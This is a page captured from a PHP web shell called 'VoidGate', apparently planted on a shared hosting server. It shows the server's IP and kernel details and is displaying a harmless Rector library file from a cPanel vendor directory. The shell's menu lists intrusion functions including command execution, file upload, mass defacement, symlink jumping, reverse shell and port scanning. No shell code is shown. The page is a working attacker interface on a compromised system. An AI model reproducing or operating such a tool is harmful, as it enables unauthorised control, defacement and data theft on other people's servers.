ヤミRoot VoidGate
User / IP
:
216.73.216.169
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
Console
/
Output
/
Viewing: OutputFormatterCollector.php
<?php declare (strict_types=1); namespace Rector\Console\Output; use Rector\ChangesReporting\Contract\Output\OutputFormatterInterface; use Rector\Exception\Configuration\InvalidConfigurationException; final class OutputFormatterCollector { /** * @var array<string, OutputFormatterInterface> */ private $outputFormatters = []; /** * @param OutputFormatterInterface[] $outputFormatters */ public function __construct(iterable $outputFormatters) { foreach ($outputFormatters as $outputFormatter) { $this->outputFormatters[$outputFormatter->getName()] = $outputFormatter; } } public function getByName(string $name) : OutputFormatterInterface { $this->ensureOutputFormatExists($name); return $this->outputFormatters[$name]; } private function ensureOutputFormatExists(string $name) : void { if (isset($this->outputFormatters[$name])) { return; } $outputFormatterNames = \array_keys($this->outputFormatters); throw new InvalidConfigurationException(\sprintf('Output formatter "%s" was not found. Pick one of "%s".', $name, \implode('", "', $outputFormatterNames))); } }
Coded With 💗 by
0x6ick